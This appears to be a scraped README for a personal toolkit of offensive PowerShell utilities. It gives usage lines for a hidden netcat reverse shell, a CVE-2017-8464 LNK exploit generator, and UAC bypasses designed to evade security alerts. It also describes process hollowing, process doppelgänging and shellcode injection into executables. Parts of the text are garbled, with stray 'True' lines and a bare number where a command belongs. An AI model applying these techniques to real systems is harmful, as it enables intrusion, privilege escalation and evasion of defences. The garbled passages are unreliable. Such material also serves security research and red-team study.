There are great tools and resources online to accomplish most any task in PowerShell, sometimes however, there is a need to script together a util for a specific purpose or to bridge an ontological gap. This is a collection of PowerShell utilities I put together either for fun or because I had a narrow application in mind.
As such the mileage you get out of them may vary but feel free to post issues or fork & adapt!
Some resources to consult on Windows API access from PowerShell:
Functionally equivalent to Windows "runas.exe", using Advapi32::CreateProcessWithLogonW.
Start cmd with a local account.
C:\PS> Invoke-Runas -User SomeAccount -Password SomePass -Binary C:\Windows\System32\cmd.exe -LogonType 0x1
Start cmd with remote credentials. Equivalent to "/netonly" in runas.
C:\PS> Invoke-Runas -User SomeAccount -Password SomePass -Domain SomeDomain -Binary C:\Windows\System32\cmd.exe -LogonType 0x2Use Netapi32::NetSessionEnum to enumerate active sessions on domain joined machines.
Enumerate active sessions on "SomeHostName".
C:\PS> Invoke-NetSessionEnum -HostName SomeHostNameUse Kernel32::CreateProcess to achieve fine-grained control over process creation from PowerShell.
Start calc with NONE/SW_SHOWNORMAL/STARTF_USESHOWWINDOW
C:\PS> Invoke-CreateProcess -Binary C:\Windows\System32\calc.exe -CreationFlags 0x0 -ShowWindow 0x1 -StartF 0x1
Start nc reverse shell with CREATE_NO_WINDOW/SW_HIDE/STARTF_USESHOWWINDOW
C:\PS> Invoke-CreateProcess -Binary C:\Some\Path\nc.exe -Args "-nv 127.0.0.1 9988 -e C:\Windows\System32\cmd.exe" -CreationFlags 0x8000000 -ShowWindow 0x0 -StartF 0x1Showcase a number of techniques to detect the presence of Kernel/User-Mode debuggers from PowerShell.

[... Snip ...]This is a proof-of-concept for NT hard links. There are some advantages, from an offensive perspective, to using NtSetInformationFile to create hard links (as opposed to mklink/CreateHardLink). NtSetInformationFile allows us link to files we don’t have write access to.

TrueThis is a proof-of-concept for process hollowing. There is nothing new here except maybe the use of NtCreateProcessEx which has some advantages in that it offers a convenient way to set a parent process and avoids the bothersome Get/SetThreadContext. On the flipside CreateRemoteThreadEx/NtCreateThreadEx are pretty suspicious API's.

TrueThis is a proof-of-concept for doppelgänging, which was recently presented by enSilo at BlackHat EU. In simple terms this process involves creating an NTFS transaction from a file on disk (any file will do). Next we overwrite the file in memory, create a section from the modified file and launch a process based on that section. Afterwards we roll back the transaction, leaving the original file unchanged but we end up with a process that appears to be backed by the original file. For a more complete description please review the reference in the script.

TrueCreate LNK files to exploit CVE-2017-8464 aka LNK round 3 ;))!
Currently, it is recommended that you create the lnk locally and then move it to the target system because of .Net and PowerShell dependencies. Please refer to the function synopsis for further details.
C:\PS> Export-LNKPwn -LNKOutPath C:\Some\Local\Path.lnk -TargetCPLPath C:\Target\CPL\Path.cpl -Type SpecialFolderDataBlockBased on James Forshaw's three part post on UAC, linked below, and possibly a technique used by the CIA!
Essentially we duplicate the token of an elevated process, lower it's mandatory integrity level, use it to create a new restricted token, impersonate it and use the Secondary Logon service to spawn a new process with High IL. Like playing hide-and-go-seek with tokens! ;))
This technique even bypasses the AlwaysNotify setting provided you supply it with a PID for an elevated process.

[*] Magic..Bypass-UAC provides a framework to perform UAC bypasses based on auto elevating IFileOperation COM object method calls. This is not a new technique, traditionally, this is accomplished by injecting a DLL into “explorer.exe”. This is not desirable because injecting into explorer may trigger security alerts and working with unmanaged DLL’s makes for an inflexible work-flow.
To get around this, Bypass-UAC implements a function which rewrites PowerShell’s PEB to give it the appearance of “explorer.exe”. This provides the same effect because COM objects exclusively rely on Windows’s Process Status API (PSAPI) which reads the process PEB.

Sit back and watch the pwn!

Inject shellcode into a PE image while retaining the PE functionality.
For additional information, please refer to:
Analyse the PE header and hexdump the region of memory where shellcode would be injected.
C:\PS> Subvert-PE -Path C:\Path\To\PE.exe
Same as above but continue to inject shellcode and overwrite the binary.

C:\PS> 2392247274Uses the Capstone engine to recursively disassemble a PE (x32/x64) from it's entry point, effectively "following" execution flow. The following rules are observed:
There are many many edge cases here which can make disassembly unreliable. As a general rule, the more addresses you disassemble, the less trustworthy the output is. The call table can be used as a reference to gauge the veracity of the output.
Since disassembly is static, working of a byte array, x32/x64 PE's can be disassembled regardless of the bitness of PowerShell.
